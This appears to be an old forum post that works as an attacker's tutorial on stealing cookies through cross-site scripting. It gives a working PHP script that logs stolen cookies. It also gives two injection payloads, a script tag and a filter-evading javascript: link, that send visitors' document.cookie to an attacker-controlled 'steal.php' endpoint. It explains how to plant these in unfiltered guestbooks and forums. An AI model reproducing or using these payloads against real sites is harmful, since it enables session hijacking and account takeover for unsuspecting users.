Ras Posted June 5, 2007 Report Posted June 5, 2007 Cookiestealing is one of the most fundamental aspects of XSS (cross site scripting).Why is the cookie so important? Well, first you should see exactly what sort ofinformation is stored in a cookie. Go to a website that requires a login, and afterlogging in erase everything in your address bar and type this line of code:javascript:alert(document.cookie)After you press enter, you should see a pop-up window with some information in it(that is, if this site uses cookies). This is the data that is stored in your cookie. Here's anexample of what might be in your cookie:username=CyberPhreak; password=ilikepieThis is, of course, a very insecure cookie. If any sort of vulnerability was found thatallowed for someone to view other people's cookies, every user account is possiblycompromised. You'll be hard-pressed to find a site with cookies like these. However, itis very common (unfortunately) to find sites with hashes of passwords within the cookie.The reason that this is unfortunate is because hashes can be cracked, and oftentimesjust knowing the hash is enough.Now you know why cookies are important; they usually have important information about theuser in them. But how would we go about getting or changing other users' cookies? This isthe process of cookiestealing.Cookiestealing is a two-part process. You need to have a script to accept the cookie, andyou need to have a way of sending the cookie to your script. Writing the script to acceptthe cookie is the easy part, whereas finding a way to send it to your script is the hardpart. I'll show you an example of a pHp script that accepts cookies:<?php$cookie = $_GET['cookie'];$log = fopen("log.txt", "a");fwrite($log, $cookie ."\n");fclose($log);?>And there you have it, a simple cookiestealer. The way this script works is that it acceptsthe cookie when it is passed as a variable, in this case 'cookie' in the URL, and thensaves it to a file called 'log.txt'. For example:http://yoursite.com/steal.php?cookie=steal.php is the filename of the script we just wrote, ? lets the script know that we aregoing to pass some variables to it, and after that we can set cookie equal to whateverwe want, but what we want to do is set cookie equal to the cookie from the site. Thisis the second and harder part of the cookiestealer.Most websites apply some sort of filter to input, so that you can't directly insert yourown code. XSS deals with finding exploits within filters, allowing you to put your owncode into a website. This might sound difficult, and in most cases it's not easy, butit can be very simple.Any website that allows you to post text potentially allows you to insert your own codeinto the website. Some examples of these types of sites are forums, guestbooks, any sitewith a "member profile", etc. And any of these sites that have users who log in alsoprobably use cookies. Now you know what sort of sites might be vulnerable tocookiestealing.Let's assume that we have a website that someone made. This website has user logincapability as well as a guestbook. And let's also assume that this website doesn't haveany kind of filtering on what can be put into the guestbook. This means that you canput HTML and Javascript directly into your post in the guestbook. I'll give you anexample of some code that we could put into a guestbook post that would send the user'scookie to out script:<script>document.location = 'http://yoursite.com/steal.php?cookie=' + document.cookie;</script>Now whenever someone views the page that you posted this on, they will be redirected toyour script with their cookie from this site in the URL. If you were to look at log.txtnow, you'd see the cookies of whoever looked at that page.But cookiestealing is never that easy. Let's assume now that the administrator of thissite got smart, and decided to filter out script tags. Now you code doesn't work, sowe have to try and evade the filter. In this instance, it's easy enough:<a href="javascript:void(document.location='http://yoursite.com/steal.php?cookie='+document.cookie)">Click Me</a>In this case, when the user clicks on the link they will be sent to your stealer with theircookie. Cookiestealing, as are all XSS attacks, is mostly about figuring out how to getaround filters. Quote